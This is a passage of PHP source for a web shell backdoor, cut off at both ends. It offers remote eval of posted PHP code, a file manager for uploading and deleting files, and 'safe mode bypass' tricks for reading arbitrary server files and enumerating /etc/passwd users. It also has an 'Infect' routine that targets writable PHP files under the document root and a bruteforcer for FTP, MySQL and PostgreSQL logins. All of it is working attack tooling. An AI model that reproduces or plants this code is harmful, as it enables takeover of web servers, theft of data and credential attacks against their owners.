{\n\t\t$_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = true;\n\t\tob_start();\n\t\teval($_POST[\'p1\']);\n\t\t$temp = "document.getElementById(\'PhpOutput\').style.display=\'\';document.getElementById(\'PhpOutput\').innerHTML=\'".addcslashes(htmlspecialchars(ob_get_clean()),"\\n\\r\\t\\\\\'\\0")."\';\\n";\n\t\techo strlen($temp), "\\n", $temp;\n\t\texit; \n\t}\n\thardHeader();\n\tif( isset($_POST[\'p2\']) && ($_POST[\'p2\'] == \'info\') ) {\n\t\techo \'<h1>PHP info</h1><div class=content>\';\n\t\tob_start();\n\t\tphpinfo();\n\t\t$tmp = ob_get_clean();\n\t\t$tmp = preg_replace(\'!body {.*}!msiU\',\'\',$tmp);\n\t\t$tmp = preg_replace(\'!a:\\w+ {.*}!msiU\',\'\',$tmp);\n\t\t$tmp = preg_replace(\'!h1!msiU\',\'h2\',$tmp);\n\t\t$tmp = preg_replace(\'!td, th {(.*)}!msiU\',\'.e, .v, .h, .h th {$1}\',$tmp);\n\t\t$tmp = preg_replace(\'!body, td, th, h2, h2 {.*}!msiU\',\'\',$tmp);\n\t\techo $tmp;\n\t\techo \'</div><br>\';\n\t}\n\tif(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))\n\t\t$_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = false;\n\t\techo \'<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(null,null,this.code.value);}else{g(null,null,this.code.value,\\\'\\\');}return false;"><textarea name=code class=bigarea id=PhpCode>\'.(!empty($_POST[\'p1\'])?htmlspecialchars($_POST[\'p1\']):\'\').\'</textarea><input type=submit value=Eval style="margin-top:5px">\';\n\techo \' <input type=checkbox name=ajax value=1 \'.($_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\').\'> send using AJAX</form><pre id=PhpOutput style="\'.(empty($_POST[\'p1\'])?\'display:none;\':\'\').\'margin-top:5px;" class=ml1>\';\n\tif(!empty($_POST[\'p1\'])) {\n\t\tob_start();\n\t\teval($_POST[\'p1\']);\n\t\techo htmlspecialchars(ob_get_clean());\n\t}\n\techo \'</pre></div>\';\n\thardFooter();\n}\nfunction actionFilesMan() {\n    if (!empty ($_COOKIE[\'f\']))\n        $_COOKIE[\'f\'] = @unserialize($_COOKIE[\'f\']);\n    \n\tif(!empty($_POST[\'p1\'])) {\n\t\tswitch($_POST[\'p1\']) {\n\t\t\tcase \'uploadFile\':\n\t\t\t\tif ( is_array($_FILES[\'f\'][\'tmp_name\']) ) {\n\t\t\t\t\tforeach ( $_FILES[\'f\'][\'tmp_name\'] as $i => $tmpName ) {\n                        if(!@move_uploaded_file($tmpName, $_FILES[\'f\'][\'name\'][$i])) {\n                                echo "Can\'t upload file!";\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\tcase \'mkdir\':\n\t\t\t\tif(!@mkdir($_POST[\'p2\']))\n\t\t\t\t\techo "Can\'t create new dir";\n\t\t\t\tbreak;\n\t\t\tcase \'delete\':\n\t\t\t\tfunction deleteDir($path) {\n\t\t\t\t\t$path = (substr($path,-1)==\'/\') ? $path:$path.\'/\';\n\t\t\t\t\t$dh  = opendir($path);\n\t\t\t\t\twhile ( ($▟ = readdir($dh) ) !== false) {\n\t\t\t\t\t\t$▟ = $path.$▟;\n\t\t\t\t\t\tif ( (basename($▟) == "..") || (basename($▟) == ".") )\n\t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\t$type = filetype($▟);\n\t\t\t\t\t\tif ($type == "dir")\n\t\t\t\t\t\t\tdeleteDir($▟);\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\t@unlink($▟);\n\t\t\t\t\t}\n\t\t\t\t\tclosedir($dh);\n\t\t\t\t\t@rmdir($path);\n\t\t\t\t}\n\t\t\t\tif(is_array(@$_POST[\'f\']))\n\t\t\t\t\tforeach($_POST[\'f\'] as $f) {\n                        if($f == \'..\')\n                            continue;\n\t\t\t\t\t\t$f = urldecode($f);\n\t\t\t\t\t\tif(is_dir($f))\n\t\t\t\t\t\t\tdeleteDir($f);\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\t@unlink($f);\n\t\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\tcase \'paste\':\n\t\t\t\tif($_COOKIE[\'act\'] == \'copy\') {\n\t\t\t\t\tfunction copy_paste($c,$s,$d){\n\t\t\t\t\t\tif(is_dir($c.$s)){\n\t\t\t\t\t\t\tmkdir($d.$s);\n\t\t\t\t\t\t\t$h = @opendir($c.$s);\n\t\t\t\t\t\t\twhile (($f = @readdir($h)) !== false)\n\t\t\t\t\t\t\t\tif (($f != ".") and ($f != ".."))\n\t\t\t\t\t\t\t\t\tcopy_paste($c.$s.\'/\',$f, $d.$s.\'/\');\n\t\t\t\t\t\t} elseif(is_file($c.$s))\n\t\t\t\t\t\t\t@copy($c.$s, $d.$s);\n\t\t\t\t\t}\n\t\t\t\t\tforeach($_COOKIE[\'f\'] as $f)\n\t\t\t\t\t\tcopy_paste($_COOKIE[\'c\'],$f, $GLOBALS[\'cwd\']);\n\t\t\t\t} elseif($_COOKIE[\'act\'] == \'move\') {\n\t\t\t\t\tfunction move_paste($c,$s,$d){\n\t\t\t\t\t\tif(is_dir($c.$s)){\n\t\t\t\t\t\t\tmkdir($d.$s);\n\t\t\t\t\t\t\t$h = @opendir($c.$s);\n\t\t\t\t\t\t\twhile (($f = @readdir($h)) !== false)\n\t\t\t\t\t\t\t\tif (($f != ".") and ($f != ".."))\n\t\t\t\t\t\t\t\t\tcopy_paste($c.$s.\'/\',$f, $d.$s.\'/\');\n\t\t\t\t\t\t} elseif(@is_file($c.$s))\n\t\t\t\t\t\t\t@copy($c.$s, $d.$s);\n\t\t\t\t\t}\n\t\t\t\t\tforeach($_COOKIE[\'f\'] as $f)\n\t\t\t\t\t\t@rename($_COOKIE[\'c\'].$f, $GLOBALS[\'cwd\'].$f);\n\t\t\t\t} elseif($_COOKIE[\'act\'] == \'zip\') {\n\t\t\t\t\tif(class_exists(\'ZipArchive\')) {\n                        $zip = new ZipArchive();\n                        if ($zip->open($_POST[\'p2\'], 1)) {\n                            chdir($_COOKIE[\'c\']);\n                            foreach($_COOKIE[\'f\'] as $f) {\n                                if($f == \'..\')\n                                    continue;\n                                if(@is_file($_COOKIE[\'c\'].$f))\n                                    $zip->addFile($_COOKIE[\'c\'].$f, $f);\n                                elseif(@is_dir($_COOKIE[\'c\'].$f)) {\n                                    $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.\'/\', FilesystemIterator::SKIP_DOTS));\n                                    foreach ($iterator as $key=>$value) {\n                                        $zip->addFile(realpath($key), $key);\n                                    }\n                                }\n                            }\n                            chdir($GLOBALS[\'cwd\']);\n                            $zip->close();\n                        }\n                    }\n\t\t\t\t} elseif($_COOKIE[\'act\'] == \'unzip\') {\n\t\t\t\t\tif(class_exists(\'ZipArchive\')) {\n                        $zip = new ZipArchive();\n                        foreach($_COOKIE[\'f\'] as $f) {\n                            if($zip->open($_COOKIE[\'c\'].$f)) {\n                                $zip->extractTo($GLOBALS[\'cwd\']);\n                                $zip->close();\n                            }\n                        }\n                    }\n\t\t\t\t} elseif($_COOKIE[\'act\'] == \'tar\') {\n                    chdir($_COOKIE[\'c\']);\n                    $_COOKIE[\'f\'] = array_map(\'escapeshellarg\', $_COOKIE[\'f\']);\n                    ex(\'tar cfzv \' . escapeshellarg($_POST[\'p2\']) . \' \' . implode(\' \', $_COOKIE[\'f\']));\n                    chdir($GLOBALS[\'cwd\']);\n\t\t\t\t}\n\t\t\t\tunset($_COOKIE[\'f\']);\n                setcookie(\'f\', \'\', time() - 3600);\n\t\t\t\tbreak;\n\t\t\tdefault:\n                if(!empty($_POST[\'p1\'])) {\n\t\t\t\t\tprototype(\'act\', $_POST[\'p1\']);\n\t\t\t\t\tprototype(\'f\', serialize(@$_POST[\'f\']));\n\t\t\t\t\tprototype(\'c\', @$_POST[\'c\']);\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t}\n\t}\n    hardHeader();\n\techo \'<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>\';\n\t$dirContent = hardScandir(isset($_POST[\'c\'])?$_POST[\'c\']:$GLOBALS[\'cwd\']);\n\tif($dirContent === false) {\techo \'Can\\\'t open this folder!\';hardFooter(); return; }\n\tglobal $sort;\n\t$sort = array(\'name\', 1);\n\tif(!empty($_POST[\'p1\'])) {\n\t\tif(preg_match(\'!s_([A-z]+)_(\\d{1})!\', $_POST[\'p1\'], $match))\n\t\t\t$sort = array($match[1], (int)$match[2]);\n\t}\necho "<script>\n\tfunction sa() {\n\t\tfor(i=0;i<d.files.elements.length;i++)\n\t\t\tif(d.files.elements[i].type == \'checkbox\')\n\t\t\t\td.files.elements[i].checked = d.files.elements[0].checked;\n\t}\n</script>\n<table width=\'100%\' class=\'main\' cellspacing=\'0\' cellpadding=\'2\'>\n<form name=files method=post><tr><th width=\'13px\'><input type=checkbox onclick=\'sa()\' class=chkbx></th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_name_".($sort[1]?0:1)."\\")\'>Name</a></th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_size_".($sort[1]?0:1)."\\")\'>Size</a></th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_modify_".($sort[1]?0:1)."\\")\'>Modify</a></th><th>Owner/Group</th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_perms_".($sort[1]?0:1)."\\")\'>Permissions</a></th><th>Actions</th></tr>";\n\t$dirs = $files = array();\n\t$n = count($dirContent);\n\tfor($i=0;$i<$n;$i++) {\n\t\t$ow = @posix_getpwuid(@fileowner($dirContent[$i]));\n\t\t$gr = @posix_getgrgid(@filegroup($dirContent[$i]));\n\t\t$tmp = array(\'name\' => $dirContent[$i],\n\t\t\t\t\t \'path\' => $GLOBALS[\'cwd\'].$dirContent[$i],\n\t\t\t\t\t \'modify\' => date(\'Y-m-d H:i:s\', @filemtime($GLOBALS[\'cwd\'] . $dirContent[$i])),\n\t\t\t\t\t \'perms\' => viewPermsColor($GLOBALS[\'cwd\'] . $dirContent[$i]),\n\t\t\t\t\t \'size\' => @filesize($GLOBALS[\'cwd\'].$dirContent[$i]),\n\t\t\t\t\t \'owner\' => $ow[\'name\']?$ow[\'name\']:@fileowner($dirContent[$i]),\n\t\t\t\t\t \'group\' => $gr[\'name\']?$gr[\'name\']:@filegroup($dirContent[$i])\n\t\t\t\t\t);\n\t\tif(@is_file($GLOBALS[\'cwd\'] . $dirContent[$i]))\n\t\t\t$files[] = array_merge($tmp, array(\'type\' => \'file\'));\n\t\telseif(@is_link($GLOBALS[\'cwd\'] . $dirContent[$i]))\n\t\t\t$dirs[] = array_merge($tmp, array(\'type\' => \'link\', \'link\' => readlink($tmp[\'path\'])));\n\t\telseif(@is_dir($GLOBALS[\'cwd\'] . $dirContent[$i])&&($dirContent[$i] != "."))\n\t\t\t$dirs[] = array_merge($tmp, array(\'type\' => \'dir\'));\n\t}\n\t$GLOBALS[\'sort\'] = $sort;\n\tfunction cmp($a, $b) {\n\t\tif($GLOBALS[\'sort\'][0] != \'size\')\n\t\t\treturn strcmp(strtolower($a[$GLOBALS[\'sort\'][0]]), strtolower($b[$GLOBALS[\'sort\'][0]]))*($GLOBALS[\'sort\'][1]?1:-1);\n\t\telse\n\t\t\treturn (($a[\'size\'] < $b[\'size\']) ? -1 : 1)*($GLOBALS[\'sort\'][1]?1:-1);\n\t}\n\tusort($files, "cmp");\n\tusort($dirs, "cmp");\n\t$files = array_merge($dirs, $files);\n\t$l = 0;\n\tforeach($files as $f) {\n\t\techo \'<tr\'.($l?\' class=l1\':\'\').\'><td><input type=checkbox name="f[]" value="\'.urlencode($f[\'name\']).\'" class=chkbx></td><td><a href=# onclick="\'.(($f[\'type\']==\'file\')?\'g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'view\\\')">\'.htmlspecialchars($f[\'name\']):\'g(\\\'FilesMan\\\',\\\'\'.$f[\'path\'].\'\\\');" \' . (empty ($f[\'link\']) ? \'\' : "title=\'{$f[\'link\']}\'") . \'><b>[ \' . htmlspecialchars($f[\'name\']) . \' ]</b>\').\'</a></td><td>\'.(($f[\'type\']==\'file\')?viewSize($f[\'size\']):$f[\'type\']).\'</td><td>\'.$f[\'modify\'].\'</td><td>\'.$f[\'owner\'].\'/\'.$f[\'group\'].\'</td><td><a href=# onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\',\\\'chmod\\\')">\'.$f[\'perms\']\n\t\t\t.\'</td><td><a class="tooltip" data-tooltip="Rename" href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'rename\\\')">R</a> <a class="tooltip" data-tooltip="Touch" href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'touch\\\')">T</a>\'.(($f[\'type\']==\'file\')?\' <a class="tooltip" data-tooltip="Frame" href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'frame\\\')">F</a> <a class="tooltip" data-tooltip="Edit" href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'edit\\\')">E</a> <a class="tooltip" data-tooltip="Download" href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'download\\\')">D</a>\':\'\').\'</td></tr>\';\n\t\t$l = $l?0:1;\n\t}\n\techo "<tr id=fak><td colspan=7>\n\t<input type=hidden name=ne value=\'\'>\n\t<input type=hidden name=a value=\'FilesMan\'>\n\t<input type=hidden name=c value=\'" . htmlspecialchars($GLOBALS[\'cwd\']) ."\'>\n\t<input type=hidden name=charset value=\'". (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\')."\'>\n\t<label><select name=\'p1\'>";\n\tif(!empty($_COOKIE[\'act\']) && @count($_COOKIE[\'f\']))\n        echo "<option value=\'paste\'>↳ Paste</option>";\n\techo "<option value=\'copy\'>Copy</option><option value=\'move\'>Move</option><option value=\'delete\'>Delete</option>";\n    if(class_exists(\'ZipArchive\'))\n        echo "<option value=\'zip\'>+ zip</option><option value=\'unzip\'>- zip</option>";\n    echo "<option value=\'tar\'>+ tar.gz</option>";\n    echo "</select></label>";\n    if(!empty($_COOKIE[\'act\']) && @count($_COOKIE[\'f\']) && (($_COOKIE[\'act\'] == \'zip\') || ($_COOKIE[\'act\'] == \'tar\')))\n        echo "&nbsp;file name: <input type=text name=p2 value=\'hard_" . date("Ymd_His") . "." . ($_COOKIE[\'act\'] == \'zip\'?\'zip\':\'tar.gz\') . "\'>&nbsp;";\n    echo "<input type=\'submit\' value=\'submit\'></td></tr></form></table></div>";\n\thardFooter();\n}\nfunction actionStringTools() {\n\tif(!function_exists(\'hex2bin\')) {function hex2bin($p) {return decbin(hexdec($p));}}\n    if(!function_exists(\'binhex\')) {function binhex($p) {return dechex(bindec($p));}}\n\tif(!function_exists(\'hex2ascii\')) {function hex2ascii($p){$r=\'\';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}\n\tif(!function_exists(\'ascii2hex\')) {function ascii2hex($p){$r=\'\';for($i=0;$i<strlen($p);++$i)$r.= sprintf(\'%02X\',ord($p[$i]));return strtoupper($r);}}\n\tif(!function_exists(\'full_urlencode\')) {function full_urlencode($p){$r=\'\';for($i=0;$i<strlen($p);++$i)$r.= \'%\'.dechex(ord($p[$i]));return strtoupper($r);}}\n\t$stringTools = array(\n\t\t\'Base64 encode\' => \'base64_encode\',\n\t\t\'Base64 decode\' => \'base64_decode\',\n\t\t\'Url encode\' => \'urlencode\',\n\t\t\'Url decode\' => \'urldecode\',\n\t\t\'Full urlencode\' => \'full_urlencode\',\n\t\t\'md5 hash\' => \'md5\',\n\t\t\'sha1 hash\' => \'sha1\',\n\t\t\'crypt\' => \'crypt\',\n\t\t\'CRC32\' => \'crc32\',\n\t\t\'ASCII to HEX\' => \'ascii2hex\',\n\t\t\'HEX to ASCII\' => \'hex2ascii\',\n\t\t\'HEX to DEC\' => \'hexdec\',\n\t\t\'HEX to BIN\' => \'hex2bin\',\n\t\t\'DEC to HEX\' => \'dechex\',\n\t\t\'DEC to BIN\' => \'decbin\',\n\t\t\'BIN to HEX\' => \'binhex\',\n\t\t\'BIN to DEC\' => \'bindec\',\n\t\t\'String to lower case\' => \'strtolower\',\n\t\t\'String to upper case\' => \'strtoupper\',\n\t\t\'Htmlspecialchars\' => \'htmlspecialchars\',\n\t\t\'String length\' => \'strlen\',\n\t);\n\tif(isset($_POST[\'ajax\'])) {\n\t\tprototype(md5($_SERVER[\'HTTP_HOST\']).\'ajax\', true);\n\t\tob_start();\n\t\tif(in_array($_POST[\'p1\'], $stringTools))\n\t\t\techo $_POST[\'p1\']($_POST[\'p2\']);\n\t\t$temp = "document.getElementById(\'strOutput\').style.display=\'\';document.getElementById(\'strOutput\').innerHTML=\'".addcslashes(htmlspecialchars(ob_get_clean()),"\\n\\r\\t\\\\\'\\0")."\';\\n";\n\t\techo strlen($temp), "\\n", $temp;\n\t\texit;\n\t}\n    if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))\n\t\tprototype(md5($_SERVER[\'HTTP_HOST\']).\'ajax\', 0);\n\thardHeader();\n\techo \'<h1>String conversions</h1><div class=content>\';\n\techo "<form name=\'toolsForm\' onSubmit=\'if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;\'><label><select name=\'selectTool\'>";\n\tforeach($stringTools as $k => $v)\n\t\techo "<option value=\'".htmlspecialchars($v)."\'>".$k."</option>";\n\t\techo "</select></label><input type=\'submit\' value=\'submit\'/> <input type=checkbox name=ajax value=1 ".(@$_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\')."> send using AJAX<br><textarea name=\'input\' style=\'margin-top:5px\' class=bigarea>".(empty($_POST[\'p1\'])?\'\':htmlspecialchars(@$_POST[\'p2\']))."</textarea></form><pre class=\'ml1\' style=\'".(empty($_POST[\'p1\'])?\'display:none;\':\'\')."margin-top:5px\' id=\'strOutput\'>";\n\tif(!empty($_POST[\'p1\'])) {\n\t\tif(in_array($_POST[\'p1\'], $stringTools))echo htmlspecialchars($_POST[\'p1\']($_POST[\'p2\']));\n\t}\n\techo"</pre></div><br><h1>Search files:</h1><div class=content>\n\t\t<form onsubmit=\\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\\"><table cellpadding=\'1\' cellspacing=\'0\' width=\'50%\'>\n\t\t\t<tr><td width=\'1%\'>Text:</td><td><input type=\'text\' name=\'text\' style=\'width:100%\'></td></tr>\n\t\t\t<tr><td>Path:</td><td><input type=\'text\' name=\'cwd\' value=\'". htmlspecialchars($GLOBALS[\'cwd\']) ."\' style=\'width:100%\'></td></tr>\n\t\t\t<tr><td>Name:</td><td><input type=\'text\' name=\'filename\' value=\'*\' style=\'width:100%\'></td></tr>\n\t\t\t<tr><td></td><td><input type=\'submit\' value=\'submit\'></td></tr>\n\t\t\t</table></form>";\n\tfunction hardRecursiveGlob($path) {\n\t\tif(substr($path, -1) != \'/\')\n\t\t\t$path.=\'/\';\n\t\t$paths = @array_unique(@array_merge(@glob($path.$_POST[\'p3\']), @glob($path.\'*\', GLOB_ONLYDIR)));\n\t\tif(is_array($paths)&&@count($paths)) {\n\t\t\tforeach($paths as $▟) {\n\t\t\t\tif(@is_dir($▟)){\n\t\t\t\t\tif($path!=$▟)\n\t\t\t\t\t\thardRecursiveGlob($▟);\n\t\t\t\t} else {\n\t\t\t\t\tif(empty($_POST[\'p2\']) || @strpos(file_get_contents($▟), $_POST[\'p2\'])!==false)\n\t\t\t\t\t\techo "<a href=\'#\' onclick=\'g(\\"FilesTools\\",null,\\"".urlencode($▟)."\\", \\"view\\",\\"\\")\'>".htmlspecialchars($▟)."</a><br>";\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\tif(@$_POST[\'p3\'])\n\t\thardRecursiveGlob($_POST[\'c\']);\n\techo "</div><br><h1>Search for hash:</h1><div class=content>\n\t\t<form method=\'post\' target=\'_blank\' name=\'hf\'>\n\t\t\t<input type=\'text\' name=\'hash\' style=\'width:200px;\'><br>\n            <input type=\'hidden\' name=\'act\' value=\'find\'/>\n\t\t\t<input type=\'submit\' value=\'hashcracking.ru\' onclick=\\"document.hf.action=\'https://hashcracking.ru/index.php\';document.hf.submit()\\"><br>\n\t\t\t<input type=\'submit\' value=\'md5.rednoize.com\' onclick=\\"document.hf.action=\'http://md5.rednoize.com/?q=\'+document.hf.hash.value+\'&s=md5\';document.hf.submit()\\"><br>\n            <input type=\'submit\' value=\'fakenamegenerator.com\' onclick=\\"document.hf.action=\'http://www.fakenamegenerator.com/\';document.hf.submit()\\"><br>\n\t\t\t<input type=\'submit\' value=\'hashcrack.com\' onclick=\\"document.hf.action=\'http://www.hashcrack.com/index.php\';document.hf.submit()\\"><br>\n\t\t\t<input type=\'submit\' value=\'toolki.com\' onclick=\\"document.hf.action=\'http://toolki.com/\';document.hf.submit()\\"><br>\n\t\t\t<input type=\'submit\' value=\'fopo.com.ar\' onclick=\\"document.hf.action=\'http://fopo.com.ar/\';document.hf.submit()\\"><br>\n\t\t\t<input type=\'submit\' value=\'md5decrypter.com\' onclick=\\"document.hf.action=\'http://www.md5decrypter.com/\';document.hf.submit()\\"><br>\n\t\t</form></div>";\n\thardFooter();\n}\nfunction actionSafeMode() {\n\t$temp=\'\';\n\tob_start();\n\tswitch($_POST[\'p1\']) {\n\t\tcase 1:\n\t\t\t$temp=@tempnam($test, \'cx\');\n\t\t\tif(@copy("compress.zlib://".$_POST[\'p2\'], $temp)){\n\t\t\t\techo @file_get_contents($temp);\n\t\t\t\tunlink($temp);\n\t\t\t} else\n\t\t\t\techo \'Sorry... Can\\\'t open file\';\n\t\t\tbreak;\n\t\tcase 2:\n\t\t\t$files = glob($_POST[\'p2\'].\'*\');\n\t\t\tif( is_array($files) )\n\t\t\t\tforeach ($files as $filename)\n\t\t\t\t\techo $filename."\\n";\n\t\t\tbreak;\n\t\tcase 3:\n\t\t\t$ch = curl_init("file://".$_POST[\'p2\']."\\x00".SELF_PATH);\n\t\t\tcurl_exec($ch);\n\t\t\tbreak;\n\t\tcase 4:\n\t\t\tini_restore("safe_mode");\n\t\t\tini_restore("open_basedir");\n\t\t\tinclude($_POST[\'p2\']);\n\t\t\tbreak;\n\t\tcase 5:\n\t\t\tfor(;$_POST[\'p2\'] <= $_POST[\'p3\'];$_POST[\'p2\']++) {\n\t\t\t\t$uid = @posix_getpwuid($_POST[\'p2\']);\n\t\t\t\tif ($uid)\n\t\t\t\t\techo join(\':\',$uid)."\\n";\n\t\t\t}\n\t\t\tbreak;\n\t\tcase 6:\n\t\t\tif(!function_exists(\'imap_open\'))break;\n\t\t\t$stream = imap_open($_POST[\'p2\'], "", "");\n\t\t\tif ($stream == FALSE)\n\t\t\t\tbreak;\n\t\t\techo imap_body($stream, 1);\n\t\t\timap_close($stream);\n\t\t\tbreak;\n\t}\n\t$temp = ob_get_clean();\n\thardHeader();\n\techo \'<h1>Safe mode bypass</h1><div class=content>\';\n\techo \'<span>Copy (read file)</span><form onsubmit=\\\'g(null,null,"1",this.param.value);return false;\\\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Glob (list dir)</span><form onsubmit=\\\'g(null,null,"2",this.param.value);return false;\\\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Curl (read file)</span><form onsubmit=\\\'g(null,null,"3",this.param.value);return false;\\\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Ini_restore (read file)</span><form onsubmit=\\\'g(null,null,"4",this.param.value);return false;\\\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\\\'g(null,null,"5",this.param1.value,this.param2.value);return false;\\\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value="submit"></form><br><br><span>Imap_open (read file)</span><form onsubmit=\\\'g(null,null,"6",this.param.value);return false;\\\'><input type=text name=param><input type=submit value="submit"></form>\';\n\tif($temp)\n\t\techo \'<pre class="ml1" style="margin-top:5px" id="Output">\'.$temp.\'</pre>\';\n\techo \'</div>\';\n\thardFooter();\n}\nfunction actionLogout() {\n    setcookie(md5($_SERVER[\'HTTP_HOST\']), \'\', time() - 3600);\n\tdie(\'bye!\');\n}\nfunction actionSelfRemove() {\n\tif($_POST[\'p1\'] == \'yes\')\n\t\tif(@unlink(preg_replace(\'!\\(\\d+\\)\\s.*!\', \'\', __FILE__)))\n\t\t\tdie(\'Shell has been removed\');\n\t\telse\n\t\t\techo \'unlink error!\';\n    if($_POST[\'p1\'] != \'yes\')\n        hardHeader();\n\techo \'<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\\\'yes\\\')">Yes</a></div>\';\n\thardFooter();\n}\nfunction actionInfect() {\n\thardHeader();\n\techo \'<h1>Infect</h1><div class=content>\';\n\tif($_POST[\'p1\'] == \'infect\') {\n\t\t$target=$_SERVER[\'DOCUMENT_ROOT\'];\n\t\t\tfunction ListFiles($dir) {\n\t\t\t\tif($dh = opendir($dir)) {\n\t\t\t\t\t$files = Array();\n\t\t\t\t\t$inner_files = Array();\n\t\t\t\t\twhile($file = readdir($dh)) {\n\t\t\t\t\t\tif($file != "." && $file != "..") {\n\t\t\t\t\t\t\tif(is_dir($dir . "/" . $file)) {\n\t\t\t\t\t\t\t\t$inner_files = ListFiles($dir . "/" . $file);\n\t\t\t\t\t\t\t\tif(is_array($inner_files)) $files = array_merge($files, $inner_files); \n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\tarray_push($files, $dir . "/" . $file);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tclosedir($dh);\n\t\t\t\t\treturn $files;\n\t\t\t\t}\n\t\t\t}\n\t\t\tforeach (ListFiles($target) as $key=>$file){\n\t\t\t\t$nFile = substr($file, -4, 4);\n\t\t\t\tif($nFile == ".php" ){\n\t\t\t\t\tif(($file<>$_SERVER[\'DOCUMENT_ROOT\'].$_SERVER[\'PHP_SELF\'])&&(is_writeable($file))){\n\t\t\t\t\t\techo "$file<br>";\n\t\t\t\t\t\t$i++;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\techo "<font color=red size=14>$i</font>";\n\t\t}else{\n\t\t\techo "<form method=post><input type=submit value=Infect name=infet></form>";\n\t\t\techo \'Really want to infect the server?&nbsp;<a href=# onclick="g(null,null,\\\'infect\\\')">Yes</a></div>\';\n\t\t}\n\thardFooter();\n}\nfunction actionBruteforce() {\n\thardHeader();\n\tif( isset($_POST[\'proto\']) ) {\n\t\techo \'<h1>Results</h1><div class=content><span>Type:</span> \'.htmlspecialchars($_POST[\'proto\']).\' <span>Server:</span> \'.htmlspecialchars($_POST[\'server\']).\'<br>\';\n\t\tif( $_POST[\'proto\'] == \'ftp\' ) {\n\t\t\tfunction bruteForce($ip,$port,$login,$pass) {\n\t\t\t\t$fp = @ftp_connect($ip, $port?$port:21);\n\t\t\t\tif(!$fp) return false;\n\t\t\t\t$res = @ftp_login($fp, $login, $pass);\n\t\t\t\t@ftp_close($fp);\n\t\t\t\treturn $res;\n\t\t\t}\n\t\t} elseif( $_POST[\'proto\'] == \'mysql\' ) {\n\t\t\tfunction bruteForce($ip,$port,$login,$pass) {\n\t\t\t\t$res = @mysql_connect($ip.\':\'.($port?$port:3306), $login, $pass);\n\t\t\t\t@mysql_close($res);\n\t\t\t\treturn $res;\n\t\t\t}\n\t\t} elseif( $_POST[\'proto\'] == \'pgsql\' ) {\n\t\t\tfunction bruteForce($ip,$port,$login,$pass) {\n\t\t\t\t$str = "host=\'".$ip."\' port=\'".$port."\' user=\'".$login."\' password=\'".$pass."\' dbname=postgres";\n\t\t\t\t$res = @pg_connect($str);\n\t\t\t\t@pg_close($res);\n\t\t\t\treturn $res;\n\t\t\t}\n\t\t}\n\t\t$success = 0;\n\t\t$attempts = 0;\n\t\t$server = explode(":", $_POST[\'server\']);\n\t\tif($_POST[\'type\'] == 1) {\n\t\t\t$temp = @file(\'/etc/passwd\');\n\t\t\tif( is_array($temp) )\n\t\t\t\tforeach($temp as $line) {\n\t\t\t\t\t$line = explode(":", $line);\n\t\t\t\t\t++$attempts;\n\t\t\t\t\tif( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {\n\t\t\t\t\t\t$success++;\n\t\t\t\t\t\techo \'<b>\'.htmlspecialchars($line[0]).\'</b>:\'.htmlspecialchars($line[0]).\'<br>\';\n\t\t\t\t\t}\n\t\t\t\t\tif(@$_POST[\'reverse\']) {\n\t\t\t\t\t\t$tmp = "";\n\t\t\t\t\t\tfor($i=strlen($line[0])-1; $i>=0; --$i)\n\t\t\t\t\t\t\t$tmp .= $line[0][$i];\n\t\t\t\t\t\t++$attempts;\n\t\t\t\t\t\tif( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {\n\t\t\t\t\t\t\t$success++;\n\t\t\t\t\t\t\techo 